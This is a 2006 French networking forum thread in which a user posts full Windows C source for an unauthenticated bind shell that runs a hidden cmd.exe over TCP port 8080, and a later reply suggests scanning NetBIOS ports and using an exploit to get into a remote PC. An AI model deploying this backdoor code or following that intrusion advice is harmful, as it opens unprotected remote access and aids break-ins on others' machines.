Précédent   Forum des professionnels en informatique > Systèmes > Autres systèmes > Réseaux
Réseaux Réseaux, wifi, routeurs,...
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
 
Outils de la discussion
Publicité
'
Vieux 09/06/2006, 21h13   #1
Membre habitué
 
Inscription : juin 2004
Messages : 553
Détails du profil
Informations personnelles :
Localisation : France, Paris (Île de France)

Informations forums :
Inscription : juin 2004
Messages : 553
Points : 144
Points : 144
Envoyer un message via MSN à black is beautiful
Par défaut Connection par NetBios

Salut,

J'ai cherché sur internet pour effectuer une simple connection NetBios avec un autre PC qui le supporte mais je n'ai rien trouvé. A chaque fois on ne parle que des noms sur le réseaux, des correspondances avec les IP.
En fait je me demande si c'est possible, je voudrais donc me connecter sur un autre PC par NetBios, je veux juste connaitre la commande pour pouvoir y parvenir.

Merci d'avance
black is beautiful est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 09/06/2006, 21h36   #2
Membre Expert
 
Homme
Inscription : mars 2004
Messages : 1 051
Détails du profil
Informations personnelles :
Sexe : Homme
Localisation : France

Informations forums :
Inscription : mars 2004
Messages : 1 051
Points : 1 031
Points : 1 031
salut.
bah, euh, pour moi, netbios, c'est aujourd'hui plus que nes noms machines sous windows...
NetBios était un protocole très utilisé dans les années 80, mais aujourd'hui, le TCP/IP is beautiful
Pourquoi tu veux faire du netbios ?
__________________
Chaval
__________________
"Monsieur le chat voudriez-vous, s'il vous plait, demanda Alice, me dire de quel côté dois-je aller ?
Ca dépend de l'endroit où vous voulez vous rendre, répondit le chat"
Lewis Carrol
chaval est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 10/06/2006, 11h07   #3
Membre habitué
 
Inscription : juin 2004
Messages : 553
Détails du profil
Informations personnelles :
Localisation : France, Paris (Île de France)

Informations forums :
Inscription : juin 2004
Messages : 553
Points : 144
Points : 144
Envoyer un message via MSN à black is beautiful
En fait j'ai fais un programme pour pouvoir contrôler mon serveur quand je ne suis pas chez moi. J'ai simplement associer un shell sur un port, j'ai associé la sortie standard à une socket et j'ai fait de même pour l'entrée standard. Ce programme marche normalement, mais par contre je ne sais pas comment communiquer avec sans avoir à faire un autre programme client, c'est pour ça que j'ai pensé à NetBios, je pensais qu'en demandant une connexion sur le port et après en envoyant des commandes elle serait interprétées comme il faut.

Mais je ne suis pas sur que c'est possible...
black is beautiful est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 11/06/2006, 17h38   #4
Membre Expert
 
Homme
Inscription : mars 2004
Messages : 1 051
Détails du profil
Informations personnelles :
Sexe : Homme
Localisation : France

Informations forums :
Inscription : mars 2004
Messages : 1 051
Points : 1 031
Points : 1 031
salut
je pense pas que netbios soit la solution à ton problème.

Mais pourquoi n'utilises tu pas des programmes comme ssh, telnet par exemple
ou pire, VNC, pour du mode graphique.
Si t'es sous windows xx déclinaison pro, tu as Terminal server

tout plein de solutions
__________________
Chaval
__________________
"Monsieur le chat voudriez-vous, s'il vous plait, demanda Alice, me dire de quel côté dois-je aller ?
Ca dépend de l'endroit où vous voulez vous rendre, répondit le chat"
Lewis Carrol
chaval est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 16/06/2006, 10h49   #5
Membre habitué
 
Inscription : juin 2004
Messages : 553
Détails du profil
Informations personnelles :
Localisation : France, Paris (Île de France)

Informations forums :
Inscription : juin 2004
Messages : 553
Points : 144
Points : 144
Envoyer un message via MSN à black is beautiful
C'est pour le plaisir de développer, et j'aime bien faire des programmes sur le réseau.

Voici le code que j'avais récupéré sur internet pour le serveur:

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define USE_MINIMAL_SIZE

#define PORT 8080

#define BUFSIZE 8192

#define SLEEP_TIME 500

void main(int argc, char* argv[])
{
   register int numbytes;
   int socklen;
   char *membuf;

   SECURITY_ATTRIBUTES security_attributes;
   STARTUPINFO startup_info;
   HANDLE StdOutputRead, StdOutputWrite, StdInputRead, StdInputWrite;

   WSADATA wsaData;
   SOCKET serverfd = INVALID_SOCKET, clientfd = INVALID_SOCKET;
   SOCKADDR_IN serversin, clientsin;
   WSAStartup(MAKEWORD(1, 1), &wsaData);

   membuf = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, BUFSIZE);

   serverfd = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
   memset(&serversin, 0, sizeof(serversin));
   serversin.sin_family = AF_INET;
   serversin.sin_port = htons(PORT);

   int val = 1;
   setsockopt(serverfd, SOL_SOCKET, SO_REUSEADDR, (const char *)&val, sizeof(val));
   bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin));  
   listen(serverfd, 0);

   security_attributes.nLength = sizeof(SECURITY_ATTRIBUTES);
   security_attributes.bInheritHandle = true;
   security_attributes.lpSecurityDescriptor = NULL;

start_server:

   CreatePipe(&StdOutputRead, &StdOutputWrite, &security_attributes, 0);
   CreatePipe(&StdInputRead, &StdInputWrite, &security_attributes, 0);

   GetStartupInfo(&startup_info);
   startup_info.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   startup_info.wShowWindow = SW_HIDE;
   startup_info.hStdOutput = startup_info.hStdError = StdOutputWrite;
   startup_info.hStdInput = StdInputRead;
   
   CreateProcess(NULL, "cmd", NULL, NULL, true, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info);

   CloseHandle(StdOutputWrite);
   CloseHandle(StdInputRead);

accept_new_client:
 
   socklen = sizeof(clientsin);
   clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);

get_cmd_data: 
   Sleep(500);
   if (!PeekNamedPipe(StdOutputRead, NULL, 0, NULL, (DWORD *)&numbytes, 0)) goto accept_new_client;
   if (numbytes == 0) goto get_client_data;
   if (!ReadFile(StdOutputRead, membuf, BUFSIZE, (DWORD *)&numbytes, NULL)) goto accept_new_client;

   if (send(clientfd, membuf, numbytes, 0) <= 0)
   {
#ifdef USE_MINIMAL_SIZE
		goto start_server;
#else
		goto close_server;
#endif
   }
   
   goto get_client_data;

get_client_data: 
   numbytes = recv(clientfd, membuf, BUFSIZE, 0);

   if (numbytes <= 0)
   {
#ifdef USE_MINIMAL_SIZE
	   goto start_server;
#else
	   goto close_server;
#endif
   }

   if (!WriteFile(StdInputWrite, membuf, numbytes, (DWORD *)&numbytes, NULL))
   {
#ifdef USE_MINIMAL_SIZE
	   goto start_server;
#else
	   goto close_server;
#endif
   }

   goto get_cmd_data;
   
#ifndef USE_MINIMAL_SIZE 
close_server:
   closesocket(clientfd);
   CloseHandle(StdInputWrite);
   CloseHandle(StdOutputRead);
   goto start_server;
#endif
}
Comment pensez vous que je puisse me connecter?

Si quelqu'un a un code plus simple je veux bien, car je cherche à faire des modifications ensuite pour qu'il remplisse les fonctions que je veux.
black is beautiful est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 23/06/2006, 13h16   #6
Membre du Club
 
Avatar de RICHARD1232
 
Inscription : juin 2006
Messages : 67
Détails du profil
Informations forums :
Inscription : juin 2006
Messages : 67
Points : 55
Points : 55
Par défaut exploitsw

Utilise un scanner de ports comme super scan ou un autre regarde les ports ouvcerts comme 139 138 137 445, aller sur demarrer executer et tape \\ip de l'ordi distante et peut être tu aura une chance de l'avoir sinon utilise un explit ntis explique dans le bouquin de Hacking Interdit, pour forcer à un ordinateur distante à se syncroniser


Citation:
Envoyé par black is beautiful
Salut,

J'ai cherché sur internet pour effectuer une simple connection NetBios avec un autre PC qui le supporte mais je n'ai rien trouvé. A chaque fois on ne parle que des noms sur le réseaux, des correspondances avec les IP.
En fait je me demande si c'est possible, je voudrais donc me connecter sur un autre PC par NetBios, je veux juste connaitre la commande pour pouvoir y parvenir.

Merci d'avance
RICHARD1232 est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité Cette discussion est résolue.
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 22h18.


 
 
 
 
Partenaires

Hébergement Web